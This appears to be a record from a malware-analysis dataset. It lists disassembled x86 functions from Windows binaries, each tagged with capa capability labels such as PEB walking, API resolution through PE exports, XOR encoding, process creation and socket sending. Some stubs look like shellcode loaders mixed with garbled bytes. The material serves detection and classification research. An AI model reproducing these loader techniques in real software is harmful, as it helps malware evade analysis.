joyce8/EMBER2024-capa huggingface dataset:
Function at 0x87e3a6
Capabilities:
Resolve function by parsing pe exports

Disassembly:
leave
ret 8
push esi
mov esi, dword [eax + 0x78]
jmp 0x87e4cb
push ebp
mov ebp, esp
sub esp, 0x18
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
and dword [ebp - 0xc], 0
add eax, ecx
mov edx, 0x10b
cmp word [eax + 0x18], dx
je 0x87e387
xor eax, eax
jmp 0x87e355
xor eax, eax
jmp 0x87e445
and dword [ebp - 4], 0
add eax, ecx
push ebx
jmp 0x87e4a2
mov eax, dword [esi + 0x20]
test eax, eax
jne 0x87e402
jmp 0x87e3cc
pop esi
jmp 0x87e355
add eax, ecx
dec ebx
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], eax
js 0x87e55b
mov eax, dword [ebp - 4]
add eax, ebx
cdq
sub eax, edx
mov edi, eax
mov eax, dword [ebp - 0x10]
sar edi, 1
mov edx, dword [eax + edi*4]
jmp 0x87e53c
mov ebx, dword [esi + 0x18]
push edi
mov edi, dword [esi + 0x24]
mov dword [ebp - 0x10], eax
mov eax, dword [esi + 0x1c]
add edi, ecx
jmp 0x87e468
add esi, ecx
mov eax, dword [eax + 0x7c]
mov dword [ebp - 0x18], eax
je 0x87e3cc
jne 0x87e424
inc ecx
aam 0x4a
sub eax, 0xdb4f7bdc
dec ebx
invalid
add edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
jmp 0x87e614
invalid
xor esi, esi
test ebx, ebx
jl 0x87e852
jge 0x87e7d6
into
jae 0x87e551
xchg byte [ebp - 0xc], dh
dec ecx
leave
pop ecx
cmp bl, cl
sbb eax, 0xcaaf3fba
cmp dword [ecx - 0x5e7af02c], esp
add dword [eax], eax
add byte [ebx], dh
leave
cmp dword [ebp - 4], ebx
je 0x87e701
test eax, eax
jle 0x87e8e5
lea ebx, [edi - 1]
jmp 0x87e6b9
call 0x86aeb9
test eax, eax
jne 0x87e5dd
mov eax, dword [ebp - 8]
movzx eax, word [eax + edi*2]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx + eax*4]
add eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
cmp eax, esi
jb 0x87e6ef
mov ecx, dword [ebp - 0x18]
add ecx, esi
cmp eax, ecx
jb 0x87e669
jmp 0x87e6ef
pop edi
pop ebx
jmp 0x87e445
test eax, eax
jne 0x87e852
jmp 0x87e701
cmp dword [ebp - 4], ebx
jle 0x87e477
jmp 0x87e701
test eax, eax
jne 0x87e648
jmp 0x87e6b9
mov edi, dword [ebp - 8]
jmp 0x87e55b
movzx eax, word [edi + esi*2]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx + eax*4]
add eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
jmp 0x87e852
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + esi*4]
add edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
call fcn.0086ae89
test eax, eax
je 0x87e7a8
inc esi
cmp esi, ebx
jle 0x87e7d6
jmp 0x87e852
mov eax, dword [ebp - 0xc]
jmp 0x87e648
inc edi
mov dword [ebp - 4], edi
jmp 0x87e6b9
Function at 0x8acc59
Capabilities:
Access peb ldr_data
Parse pe header

Disassembly:
pop esp
lodsd eax, dword [esi]
daa
adc bl, ah
sahf
jp 0x8a8d9a
mov edi, 0x40223f
ljmp 0x299b
sbb esi, dword [bp + si]
mov al, 0xb8
xchg edx, eax
push ebx
mov bl, 0x4f
bound edi, qword [edi + 0x16c5a6ce]
adc byte [ebp - 0x1f], dl
mov ebx, 0x35f074db
sbb bh, byte [ecx]
push edx
cmp dword [esp], ecx
xor eax, 0xe00093ce
stosb byte es:[edi], al
fld xword [ebp + 0x32]
jge 0x8a8e07
stosb byte es:[edi], al
pop ecx
mov bh, 0xcc
shl ch, cl
xor dl, byte [ebx - 0x687140b2]
test eax, 0xf045a228
movsb byte es:[edi], byte [esi]
jg 0x8a8d73
imul ebp, dword [ecx - 0x46], 0x1d
dec ebp
arpl word [eax], di
mov al, 0x79
shr dword [edi], 0x7b
push ebx
aaa
in eax, 0x49
salc
das
xchg ebp, eax
invalid
mov bh, 0x5b
or bh, byte [edx - 0x51]
test eax, 0x7d5bca99
invalid
inc dword [eax + 0x840879]
push 0xc51bf9c6
add dword [esp], 0x3b675a47
push 0
push 0
push 0xef380f01
jmp 0x8acccf
call 0x8acbbf
jmp 0x8acc0b
call 0x8acbd2
pop eax
sub eax, 0x8acbd2
cmp dword [eax + 0x840879], 0
je 0x8acb97
lea esp, [esp + 8]
popal
jmp 0x8a8d2c
call 0x84d1e7
popal
jmp 0x8a8d2c
pop eax
xor ax, ax
cmp word [eax], 0x5a4d
je 0x8acc94
sub eax, 0x10000
jmp 0x8acc0f
call 0x8acc59
push ebx
popal
outsb dx, byte gs:[esi]
imul ebp, dword [bp + 0x65], 0x63694c20
outsb dx, byte gs:[esi]
jae 0x8accb8
jb 0x8acc6b
and byte [ebp + 0x6d], al
inc esp
insd dword es:[edi], dx
outsd dx, dword [esi]
and byte [esi + 0x31], dh
cmp byte cs:[esi], ch
xor byte [esi], ch
xor byte [eax], al
lea esp, [esp + 4]
pushal
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
push eax
jmp 0x8acbba
movzx ebx, word [eax + 0x3c]
add ebx, eax
cmp word [ebx], 0x4550
je 0x8accf5
jmp 0x8acc16
jecxz 0x8acd35
jmp 0x8acc4a
add dword [esp], 0x114b4145
call fcn.0084de16
jmp 0x8acbfa
push eax
jmp 0x8acbcd
mov word [edx + ecx*4], ss
in eax, dx
sbb al, 0xb5
mov dword [eax], edx
xchg cl, ah
adc byte [edi + 0x6c059509], ch
lahf
xor al, 0x47
fmul dword [esi + 0x29]
fsubr dword [edi - 0x74]
adc byte [esi - 0x6746ef1f], al
or ebx, dword [ebx - 0x1e43f202]
inc ecx
sal dword [eax + 0x76d5c643], 1
in al, 0x83
jle 0x8acd24
invalid
and eax, 0xaf5c35a5
jns 0x8acd1a
imul edi, ecx, 0x848f6b98
add al, 0x9a
std
or al, 0xed
imul ecx, dword [edi - 0x265fb7c], 0xc
in eax, dx
and byte [edi + 0x4da15237], ah
out 0x77, eax
adc ah, cl
push es
adc eax, 0x92670092
jb 0x8accfb
sub eax, 0xdb37c4bd
pop ds
lcall 0x58d, 0x739a6f08
xchg ebp, eax
cld
pxor mm2, mm7
pop esp
xchg ebp, eax
ret
Function at 0x4051bb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push dword [ebp + 8]
call fcn.0040a290
mov esi, eax
inc esi
push esi
call fcn.0040a14a
push esi
mov edi, eax
push dword [ebp + 8]
push edi
call fcn.0040a450
add esp, 0x14
xor eax, eax
test esi, esi
jle 0x4051f8
mov cl, byte [eax + edi]
xor cl, 0x29
add cl, 0x26
mov byte [eax + edi], cl
inc eax
cmp eax, esi
jl 0x4051e7
lea eax, [ebp - 4]
push eax
push esi
push edi
call fcn.004050ef
push edi
call fcn.0040ab10
mov eax, dword [ebp - 4]
add esp, 0x10
pop edi
pop esi
leave
ret

Function at 0x4061ce
Capabilities:
Create process on windows

Disassembly:
push esi
mov esi, dword [ecx + 0x54]
push dword [ecx + 0x1c]
call dword [sym.imp.USER32.dll_GetParent]
push eax
call fcn.004259c8
test eax, eax
je 0x4061e8
mov eax, dword [eax + 0x1c]
push 5
push 0
push 0
push esi
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
pop esi
jg 0x406212
push 0
push 0
push 0x440aec
call fcn.0042b27f
xor eax, eax
ret
push 1
pop eax
ret

Function at 0x40633b
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, 0x4305f8
call fcn.00409dfc
push esi
and dword [ebp - 4], 0
lea esi, [ecx + 4]
lea eax, [ebp + 8]
mov ecx, esi
push eax
call fcn.0042477d
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x406369
xor esi, esi
jmp 0x406370
test al, 0x10
jne 0x406365
push 1
pop esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004246d4
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x4063e7
Capabilities:
Read .ini file

Disassembly:
mov eax, 0x430633
call fcn.00409dfc
sub esp, 0x10c
and dword [ebp - 0x14], 0
push esi
push edi
mov edi, ecx
mov esi, 0x445eb0
lea ecx, [ebp - 0x10]
push esi
mov dword [ebp - 4], 2
call fcn.004246fe
push dword [edi + 4]
lea eax, [ebp - 0x118]
mov byte [ebp - 4], 3
push 0x104
push eax
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x118]
lea ecx, [ebp - 0x10]
push eax
call fcn.004247cd
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
call fcn.00424449
mov dword [ebp - 0x14], 1
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.004246d4
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.004246d4
and byte [ebp - 4], 0
lea ecx, [ebp + 0x10]
call fcn.004246d4
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 0xc
Function at 0x406851
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0xffffffff
push ebx
je 0x4068d5
cmp dword [ebp + 0xc], 0
je 0x4068d5
mov ebx, dword [ebp + 0x10]
test ebx, ebx
je 0x4068d5
cmp byte [ecx + 0x54], 0
je 0x4068d5
push esi
push edi
push 0x1020
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
push 0x14
push 0
push esi
call fcn.0040a880
push ebx
lea edi, [esi + 0x1c]
push dword [ebp + 0xc]
push edi
call fcn.0040a450
add esp, 0x18
lea ecx, [ebp + 0x10]
lea eax, [esi + 0x14]
mov dword [esi + 0x18], edi
push 0
push esi
push 0
push ecx
push 1
push eax
push dword [ebp + 8]
mov dword [eax], ebx
mov byte [esi + 0x101c], 1
call dword [sym.imp.WS2_32.dll_WSASend]
pop edi
cmp eax, 0xffffffff
pop esi
jne 0x4068d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x4068d5
mov al, 1
jmp 0x4068d7
xor al, al
pop ebx
pop ebp
ret 0xc

Function at 0x406a5e
Capabilities:
Get system information on windows
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp byte [esi + 0x54], bl
je 0x406aeb
lea eax, [ebp - 0x24]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x10]
xor edi, edi
lea eax, [eax + eax + 2]
test eax, eax
jbe 0x406aa1
push ebx
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov eax, dword [ebp - 0x10]
inc edi
lea eax, [eax + eax + 2]
cmp edi, eax
jb 0x406a87
push 1
push dword [esi + 0x5c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0xa
push dword [esi + 0x5c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x5c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push dword [esi + 0x58]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [esi + 0x58]
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, esi
call fcn.0040692a
lea eax, [esi + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov dword [esi + 8], ebx
mov byte [esi + 0x54], bl
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406aef
Capabilities:
Create thread
Get hostname
Get system information on windows
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
lea eax, [ebp - 0x22c]
push edi
push eax
mov esi, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x406b31
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push 0x445eb0
mov esi, eax
push dword [ebp + 0xc]
call main
pop ecx
mov eax, esi
pop ecx
jmp 0x406c8a
cmp byte [ebp - 0x22c], 2
jne 0x406c81
xor eax, eax
mov al, byte [ebp - 0x22b]
cmp al, 2
jne 0x406c81
lea eax, [ebp - 0x9c]
push 0x64
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
xor edi, edi
cmp eax, edi
jne 0x406c75
lea eax, [ebp - 0x9c]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, edi
je 0x406c75
mov eax, dword [eax + 0xc]
push 4
push dword [eax]
lea eax, [ebp - 4]
push eax
call fcn.0040a450
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push dword [ebp + 0xc]
call main
pop ecx
pop ecx
push 1
push edi
push edi
push edi
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
or ebx, 0xffffffff
mov dword [esi + 0x58], eax
cmp eax, ebx
je 0x406c75
push edi
mov word [ebp - 0x14], 2
call dword [sym.imp.WS2_32.dll_htonl]
push dword [ebp + 8]
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [esi + 0x58]
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, ebx
je 0x406c10
push 5
push dword [esi + 0x58]
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, ebx
je 0x406c10
push edi
push edi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
cmp eax, ebx
mov dword [esi + 0xc], eax
jne 0x406c18
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x406c8a
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x24]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp + 0xc], edi
lea eax, [eax + eax + 2]
test eax, eax
jbe 0x406c5f
lea eax, [ebp + 8]
push eax
push edi
push esi
push 0x4064de
push edi
push edi
call ebx
cmp eax, edi
je 0x406c75
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
inc dword [ebp + 0xc]
lea eax, [eax + eax + 2]
cmp dword [ebp + 0xc], eax
jb 0x406c36
lea eax, [ebp + 0xc]
push eax
push edi
push esi
push 0x4066a3
push edi
push edi
call ebx
cmp eax, edi
mov dword [esi + 0x5c], eax
jne 0x406c7d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x406c8a
xor eax, eax
jmp 0x406c8a
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x4161c0
Capabilities:
Enumerate gui resources

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push 0x4161f0
push ecx
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
mov ax, word [esp]
pop ecx
ret
Function at 0x4168c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ecx
push ebx
push ebp
mov dword [esp + 8], ecx
push esi
mov ecx, dword [esp + 0x1c]
push edi
call fcn.0042465f
mov edi, dword [esp + 0x1c]
mov ebp, dword [esp + 0x18]
mov eax, edi
push 6
shr eax, 4
inc eax
and eax, 0xffff
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
test ebx, ebx
jne 0x4168fd
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x416911
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x416926
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, esi
and edi, 0xf
jbe 0x416945
cmp esi, eax
jae 0x416949
xor ecx, ecx
dec edi
mov cx, word [esi]
lea esi, [esi + ecx*2 + 2]
jne 0x416935
cmp esi, eax
jb 0x416953
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret 0xc
xor ebx, ebx
mov bx, word [esi]
test ebx, ebx
jne 0x416966
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret 0xc
mov edx, dword [esp + 0x10]
mov eax, dword [edx + 0xc]
test eax, eax
je 0x416976
mov ebp, dword [eax + 4]
jmp 0x416978
xor ebp, ebp
push 0
push 0
push 0
lea edi, [esi + 2]
push 0
push ebx
push edi
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, dword [esp + 0x20]
mov esi, eax
push esi
call fcn.0042499d
push 0
push 0
push esi
push eax
push ebx
push edi
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, dword [esp + 0x20]
push esi
call fcn.00424975
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc
Function at 0x41f4c0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0040acc0
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x41f58b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x41f58b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x41f53e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x41f549
or bh, 8
and edi, 0x8000000
je 0x41f564
mov eax, dword [0x449e9c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x41f58b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41f960
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x41f98b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x41f9af
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x41f9ca
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20

Function at 0x426393
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4263cb
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0042499d
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00424975
jmp 0x4263d7
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4
Function at 0x4263db
Capabilities:
Get graphical window text

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x10]
mov esi, ecx
push 0x445fa0
mov ecx, edi
call fcn.004247cd
cmp dword [esi + 0x34], 0
push dword [esp + 0xc]
jne 0x42642e
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, eax
test esi, esi
je 0x426441
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, edi
call fcn.0042499d
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0xffffffffffffffff
mov ecx, edi
call fcn.00424975
jmp 0x426441
mov ecx, esi
call fcn.004281ff
test eax, eax
je 0x426441
push edi
mov ecx, eax
call fcn.00426393
mov eax, dword [edi]
pop edi
pop esi
mov eax, dword [eax - 8]
ret 8

Function at 0x427b2c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x427b6e
call fcn.0042e4b8
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x427b6e
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x427b65
xor eax, eax
jmp 0x427b76
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00427b7c
pop edi
pop esi
pop ebx
ret 4

Function at 0x42cd40
Capabilities:
Create http request

Disassembly:
mov eax, 0x430fc8
call fcn.00409dfc
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x42cd78
call fcn.0042e4b8
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esi + 8], eax
jne 0x42cd9d
push eax
push dword [esi + 4]
call fcn.0042d980
jmp 0x42cda9
push esi
push eax
mov ecx, 0x447af0
call fcn.0042cdba
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 0x18
Function at 0x42d06b
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags

Disassembly:
mov eax, 0x431027
call fcn.00409dfc
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.00429ac7
mov eax, dword [ebp + 0x18]
lea ebx, [esi + 0x24]
mov dword [esi + 0x1c], eax
mov eax, dword [0x440f18]
xor edi, edi
mov dword [ebx], eax
mov dword [ebp - 4], edi
push dword [ebp + 0x10]
lea ecx, [esi + 0xc]
mov byte [ebp - 4], 1
mov dword [esi], vtable.CInternetFile.0
call fcn.004247cd
push dword [ebp + 0x14]
mov ecx, ebx
call fcn.004247cd
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x1c]
mov dword [esi + 0x18], eax
mov dword [esi + 0x3c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x40], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x18

Function at 0x42eb29
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov dword [ebp - 8], ecx
call fcn.0042e4b8
mov esi, dword [eax + 0xc]
push 0xf1
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x42eb66
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x42eb66
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x42eb6a
xor eax, eax
jmp 0x42ebe8
movzx eax, word [esi + 6]
push ebx
push edi
shl eax, 2
push eax
call fcn.00425475
and dword [ebp - 4], 0
cmp word [esi + 6], 0
pop ecx
mov ebx, eax
jbe 0x42eba2
mov ecx, ebx
lea eax, [esi + 8]
movzx edx, word [eax]
inc dword [ebp - 4]
mov dword [ecx], edx
movzx edx, word [esi + 6]
inc eax
add ecx, 4
inc eax
cmp dword [ebp - 4], edx
jl 0x42eb8c
movzx eax, word [esi + 6]
mov ecx, dword [ebp - 8]
push eax
push ebx
call fcn.0042ecd9
push ebx
mov edi, eax
call fcn.0042549e
test edi, edi
pop ecx
je 0x42ebe4
movzx ecx, word [esi + 4]
movzx eax, word [esi + 2]
lea esi, [ecx + 7]
push ecx
mov ecx, dword [ebp - 8]
lea edx, [eax + 7]
push eax
push esi
push edx
call fcn.0042eaa2
push dword [ebp + 8]
mov ecx, dword [ebp - 8]
call fcn.0042ebed
mov edi, eax
mov eax, edi
pop edi
pop ebx
pop esi
leave
ret 4

Function at 0x42f2e9
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x42f317
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x42f335
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0042f24f
jmp 0x42f335
mov eax, dword [esi + 0x14]
test eax, eax
je 0x42f335
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0042f24f
test edi, edi
mov eax, edi
jne 0x42f31f
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8